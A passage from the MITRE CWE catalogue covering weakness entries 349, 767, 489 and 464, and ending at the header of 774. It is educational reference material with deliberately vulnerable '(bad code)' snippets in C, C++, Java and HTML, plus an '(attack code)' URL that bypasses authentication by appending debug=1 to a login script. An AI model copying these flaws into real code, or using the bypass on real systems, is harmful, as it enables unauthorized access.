updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2022-10-13CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Common_Consequences, Description
2023-04-27CWE Content TeamMITRE
updated Demonstrative_Examples, Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data

Weakness ID: 349
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product, when processing trusted data, accepts any untrusted data that is also included with the trusted data, treating the untrusted data as if it were trusted.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1214Data Integrity Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control
Integrity

Technical Impact: Bypass Protection Mechanism; Modify Application Data

An attacker could package untrusted data with trusted data to bypass protection mechanisms to gain access to and possibly modify sensitive data.
+ Observed Examples
ReferenceDescription
Does not verify that trusted entity is authoritative for all entities in its response.
use of extra data in a signature allows certificate signature forging
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.860The CERT Oracle Secure Coding Standard for Java (2011) Chapter 17 - Runtime Environment (ENV)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1150SEI CERT Oracle Secure Coding Standard for Java - Guidelines 16. Runtime Environment (ENV)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1365ICS Communications: Unreliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1366ICS Communications: Frail Security in Protocols
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1373ICS Engineering (Construction/Deployment): Trust Model Problems
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1411Comprehensive Categorization: Insufficient Verification of Data Authenticity
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUntrusted Data Appended with Trusted Data
The CERT Oracle Secure Coding Standard for Java (2011)ENV01-JPlace all security-sensitive code in a single JAR and sign and seal it
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-04-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Untrusted Data Appended with Trusted Data

CWE-767: Access to Critical Private Variable via Public Method

Weakness ID: 767
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product defines a public method that reads or modifies a private variable.
+ Extended Description
If an attacker modifies the variable to contain unexpected values, this could violate assumptions from other parts of the code. Additionally, if an attacker can read the private variable, it may expose sensitive information or make it easier to launch further attacks.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.275Permission Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C++ (Undetermined Prevalence)

C# (Undetermined Prevalence)

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Modify Application Data; Other

+ Demonstrative Examples

Example 1

The following example declares a critical variable to be private, and then allows the variable to be modified by public methods.

(bad code)
Example Language: C++ 
private: float price;
public: void changePrice(float newPrice) {
price = newPrice;
}

Example 2

The following example could be used to implement a user forum where a single user (UID) can switch between multiple profiles (PID).

(bad code)
Example Language: Java 
public class Client {
private int UID;
public int PID;
private String userName;
public Client(String userName){
PID = getDefaultProfileID();
UID = mapUserNametoUID( userName );
this.userName = userName;
}
public void setPID(int ID) {
UID = ID;
}
}

The programmer implemented setPID with the intention of modifying the PID variable, but due to a typo. accidentally specified the critical variable UID instead. If the program allows profile IDs to be between 1 and 10, but a UID of 1 means the user is treated as an admin, then a user could gain administrative privileges as a result of this typo.

+ Potential Mitigations

Phase: Implementation

Use class accessor and mutator methods appropriately. Perform validation when accepting data from a public method that is intended to modify a critical private variable. Also be sure that appropriate access controls are being applied when a public method interfaces with critical data.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1184SEI CERT Perl Coding Standard - Guidelines 06. Object-Oriented Programming (OOP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

This entry is closely associated with access control for public methods. If the public methods are restricted with proper access controls, then the information in the private variable will not be exposed to unexpected parties. There may be chaining or composite relationships between improper access controls and this weakness.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPFailure to protect stored data from modification
Software Fault PatternsSFP23Exposed Data
SEI CERT Perl Coding StandardOOP31-PLImpreciseDo not access private variables or subroutines in other packages
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2009-03-03
(CWE 1.4, 2009-05-27)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Likelihood_of_Exploit, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction, Type
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-489: Active Debug Code

Weakness ID: 489
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product is deployed to unauthorized actors with debugging code still enabled or active, which can create unintended entry points or expose sensitive information.
+ Extended Description
A common development practice is to add "back door" code specifically designed for debugging or testing purposes that is not intended to be shipped or deployed with the product. These back door entry points create security risks because they are not considered during design or testing and fall outside of the expected operating conditions of the product.
+ Alternate Terms
Leftover debug code:
This term originates from Seven Pernicious Kingdoms
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.710Improper Adherence to Coding Standards
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.11ASP.NET Misconfiguration: Creating Debug Binary
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.215Insertion of Sensitive Information Into Debugging Code
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1006Bad Coding Practices
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationIn web-based applications, debug code is used to test and modify web application properties, configuration information, and functions. If a debug application is left on a production server, this oversight during the "software process" allows attackers access to debug functionality.
Build and Compilation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability
Access Control
Other

Technical Impact: Bypass Protection Mechanism; Read Application Data; Gain Privileges or Assume Identity; Varies by Context

The severity of the exposed debug application will depend on the particular instance. At the least, it will give an attacker sensitive information about the settings and mechanics of web applications on the server. At worst, as is often the case, the debug application will allow an attacker complete control over the web application and server, as well as confidential information that either of these access.
+ Demonstrative Examples

Example 1

Debug code can be used to bypass authentication. For example, suppose an application has a login script that receives a username and a password. Assume also that a third, optional, parameter, called "debug", is interpreted by the script as requesting a switch to debug mode, and that when this parameter is given the username and password are not checked. In such a case, it is very simple to bypass the authentication process if the special behavior of the application regarding the debug parameter is known. In a case where the form is:

(bad code)
Example Language: HTML 
<FORM ACTION="/authenticate_login.cgi">
<INPUT TYPE=TEXT name=username>
<INPUT TYPE=PASSWORD name=password>
<INPUT TYPE=SUBMIT>
</FORM>

Then a conforming link will look like:

(informative)
 
http://TARGET/authenticate_login.cgi?username=...&password=...

An attacker can change this to:

(attack code)
 
http://TARGET/authenticate_login.cgi?username=&password=&debug=1

Which will grant the attacker access to the site, bypassing the authentication process.

+ Potential Mitigations

Phases: Build and Compilation; Distribution

Remove debug code before deploying the application.
+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.4857PK - Encapsulation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1002SFP Secondary Cluster: Unexpected Entry Points
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1371ICS Supply Chain: Poorly Documented or Undocumented Features
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Other

In J2EE a main method may be a good indicator that debug code has been left in the application, although there may not be any direct security impact.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsLeftover Debug Code
OWASP Top Ten 2004A10CWE More SpecificInsecure Configuration Management
Software Fault PatternsSFP28Unexpected access points
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Common_Consequences
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Description, Modes_of_Introduction, Other_Notes, Time_of_Introduction
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, White_Box_Definitions
2019-01-03CWE Content TeamMITRE
updated Weakness_Ordinalities
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Description, Name, References, Relationships
2021-03-15CWE Content TeamMITRE
updated Related_Attack_Patterns
2021-07-20CWE Content TeamMITRE
updated Alternate_Terms
2023-01-31CWE Content TeamMITRE
updated Applicable_Platforms, Description, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2020-02-24Leftover Debug Code

CWE-464: Addition of Data Structure Sentinel

Weakness ID: 464
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The accidental addition of a data-structure sentinel can cause serious programming logic problems.
+ Extended Description
Data-structure sentinels are often used to mark the structure of data. A common example of this is the null character at the end of strings or a special sentinel to mark the end of a linked list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the addition or modification of sentinels.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.138Improper Neutralization of Special Elements
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.170Improper Null Termination
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.463Deletion of Data Structure Sentinel
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Modify Application Data

Generally this error will cause the data structure to not work properly by truncating the data.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following example assigns some character values to a list of characters and prints them each individually, and then as a string. The third character value is intended to be an integer taken from user input and converted to an int.

(bad code)
Example Language:
char *foo;
foo=malloc(sizeof(char)*5);
foo[0]='a';
foo[1]='a';
foo[2]=atoi(getc(stdin));
foo[3]='c';
foo[4]='\0'
printf("%c %c %c %c %c \n",foo[0],foo[1],foo[2],foo[3],foo[4]);
printf("%s\n",foo);

The first print statement will print each character separated by a space. However, if a non-integer is read from stdin by getc, then atoi will not make a conversion and return 0. When foo is printed as a string, the 0 at character foo[2] will act as a NULL terminator and foo[3] will never be printed.

+ Potential Mitigations

Phases: Implementation; Architecture and Design

Encapsulate the user from interacting with data sentinels. Validate user input to verify that sentinels are not present.

Phase: Implementation

Proper error checking can reduce the risk of inadvertently introducing sentinel values into data. For example, if a parsing function fails or encounters an error, it might return a value that is the same as the sentinel.

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. This is not a complete solution.

Phase: Operation

Use OS-level preventative functionality. This is not a complete solution.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.741CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.875CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPAddition of data-structure sentinel
CERT C Secure CodingSTR03-CDo not inadvertently truncate a null-terminated byte string
CERT C Secure CodingSTR06-CDo not assume that strtok() leaves the parse string unchanged
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Other_Notes, Potential_Mitigations, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Likelihood_of_Exploit, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Addition of Data-structure Sentinel

CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling

Weakness ID: 774
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
